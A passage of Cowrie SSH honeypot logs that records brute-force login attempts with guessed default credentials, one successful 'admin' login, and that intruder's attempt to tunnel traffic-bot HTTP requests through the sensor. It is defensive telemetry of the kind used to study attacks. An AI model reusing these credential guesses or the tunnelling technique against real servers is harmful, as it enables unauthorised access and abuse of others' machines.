R\\x1c\"\\xe0\\xda\\xa0\\xa3\\xbb\\xb8\\x8cZwZ\\xd3\\xc5\\xaao$\\x03\\x90\"\\x81\\x9e\\x99z\\x1a\\xff\\xa1g0zi\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:01.829278Z","src_ip":"173.208.188.210","session":"e511bd8d6ff5","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:02.133216Z","src_ip":"91.92.40.36","session":"d26924ffab11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:02.138315Z","src_ip":"91.92.40.36","session":"d26924ffab11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.113.53","src_port":29312,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f794496c8b8","protocol":"ssh","message":"New connection: 14.103.113.53:29312 (159.203.135.109:22) [session: 9f794496c8b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:02.770326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:02.775322Z","src_ip":"14.103.113.53","session":"9f794496c8b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"19.2","message":"Connection lost after 19.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:03.250144Z","src_ip":"173.208.188.210","session":"e511bd8d6ff5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":42172,"dst_ip":"10.17.0.5","dst_port":22,"session":"dcc37026fdbc","protocol":"ssh","message":"New connection: 103.77.175.15:42172 (10.17.0.5:22) [session: dcc37026fdbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:03.702431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:03.708504Z","src_ip":"103.77.175.15","session":"dcc37026fdbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:03.821096Z","src_ip":"14.103.113.53","session":"9f794496c8b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:03.982261Z","src_ip":"103.77.175.15","session":"dcc37026fdbc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"260982","message":"login attempt [root/260982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:04.761449Z","src_ip":"103.77.175.15","session":"dcc37026fdbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:06.023876Z","src_ip":"103.77.175.15","session":"dcc37026fdbc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"help","password":"123","message":"login attempt [help/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:06.258204Z","src_ip":"14.103.113.53","session":"9f794496c8b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":48034,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b850470edbd","protocol":"ssh","message":"New connection: 91.92.40.36:48034 (159.203.135.109:22) [session: 1b850470edbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:07.232693Z"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"qwerty","message":"login attempt [mysql/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:07.687617Z","src_ip":"91.92.40.36","session":"d26924ffab11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:08.077990Z","src_ip":"14.103.113.53","session":"9f794496c8b8","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:08.654118Z","src_ip":"91.92.40.36","session":"1b850470edbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:08.673527Z","src_ip":"91.92.40.36","session":"1b850470edbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.7","message":"Connection lost after 9.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:10.701270Z","src_ip":"91.92.40.36","session":"d26924ffab11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":48068,"dst_ip":"159.203.135.109","dst_port":22,"session":"57ece586f576","protocol":"ssh","message":"New connection: 91.92.40.36:48068 (159.203.135.109:22) [session: 57ece586f576]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:13.540585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:16.059160Z","src_ip":"91.92.40.36","session":"57ece586f576","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:16.062474Z","src_ip":"91.92.40.36","session":"57ece586f576","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"daemon","password":"4321","message":"login attempt [daemon/4321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:17.297823Z","src_ip":"91.92.40.36","session":"1b850470edbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":14568,"dst_ip":"159.203.135.109","dst_port":22,"session":"df39ca3801d5","protocol":"ssh","message":"New connection: 91.92.40.36:14568 (159.203.135.109:22) [session: df39ca3801d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:20.707541Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.47","src_port":64848,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8608b6c82b0","protocol":"ssh","message":"New connection: 23.175.50.47:64848 (10.17.0.5:22) [session: a8608b6c82b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:20.759030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:20.763555Z","src_ip":"23.175.50.47","session":"a8608b6c82b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:20.845088Z","src_ip":"23.175.50.47","session":"a8608b6c82b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.9","message":"Connection lost after 13.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:21.155242Z","src_ip":"91.92.40.36","session":"1b850470edbd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:21.818826Z","src_ip":"23.175.50.47","session":"a8608b6c82b0","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:23.084977Z","src_ip":"91.92.40.36","session":"df39ca3801d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:23.088505Z","src_ip":"91.92.40.36","session":"df39ca3801d5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:26.572652Z","session":"a8608b6c82b0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:26.578572Z","session":"a8608b6c82b0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:26.630897Z","src_ip":"23.175.50.47","session":"a8608b6c82b0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.3 Mobile/18C66 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1190\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=S0IxYiEyNH4oVGxPWX4zKw%3D%3DldtpbxOS9239egF0csX8hqNf0S1eUs0G76xkHIJt17QAyY0r%2B6WriCIxN4zi7R%2FZqZZDjIIslgIIgh%2BcnRagEzLhBFFo0U1Ev7CoJyO%2BW%2BrDJTOA5U4eho67YGR5TE9mhKQVIorMolEdh1EwVk8gNrqbf16FtjvRESkZ6HStGdVMme6KkH1KCoNuPQZxFPd6ANh1NO520fg5z7RjFqY%2BOTqxa96PRpG1sttguafZI3ZRhBq3MyYdXhe%2FM1n%2BjVMCE2TlRQNq%2BX8A7JI%2BF5txpRGDYsr%2BkolFhZ%2FV9xQAmqqzDDfidCcWTjb4JQ82zN%2FWUAGsUc%2F6oilbtmiyFygvK17FnGkW8Es2wQf%2FK7DaUBKhlWJm8jM0l3Bz%2FpMIvvlyFvZ4PtJ84gLRW9sF4BbiHVWmfkvDi5xx2sOwWHuEzyYvvz7koqnCRVG8eFd7QxWm7dvjuWN%2FzhVKfcqV%2Fo9YuvVK6XAZotSC5R0pcD%2BeqQYeQYQqKXDmBemyWXEaK5SiTKxtmglXfBitCnGmAw5EOxFTlI4syX6ytlZ3eWxzv%2FwAcvqO8vmy0j5TdEXlWvpU%2Fb8L2P7F2VJXkPZKLnS3W%2FhBBA2D1ht7hj8fXX5YsPUQu%2B5y8qYZ626bH5RAwuETZGmEhDswXaB1K3Sq9g0%2BhqwYVJCQmG3OTufi%2BMGffYAJjQG%2BJOQOWEMInkFCvLYsuSrPksl7%2FNfnX6HsXys4syGRu2SoReGswAJ6NPAe4UtleXpOH2%2FUGySMLvxkEWGmDs3XU6CuPelNQLep2k01EjxeZdpWlybISm9lw4bhPUwGHc7RTdfqiE6AHPRbLxCFsn0BXefFAAATwTAaVGh8g9t%2F8lmla0w73zdvcqlVFY1VPL1UNRjZMR%2BQU4TZi%2BIAxxRpz3BijkF1YudSM1wc7K8lcIyqwS5tu51JySE%2BklaBegv0SGv8DTW5gPiVwRziP%2BT61fQ1jcmX2U99aZ63q5TOTfeWjLnM%2BLDmGYlaeo3BOvOqWRPMMkr40u2LQOfnGkd4yFZuA2rIn2Gm6%2FRaAHFicu6Gb86PZN6ZtSaaDST%2BgqLLh4pzt95khSNm1IAq'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 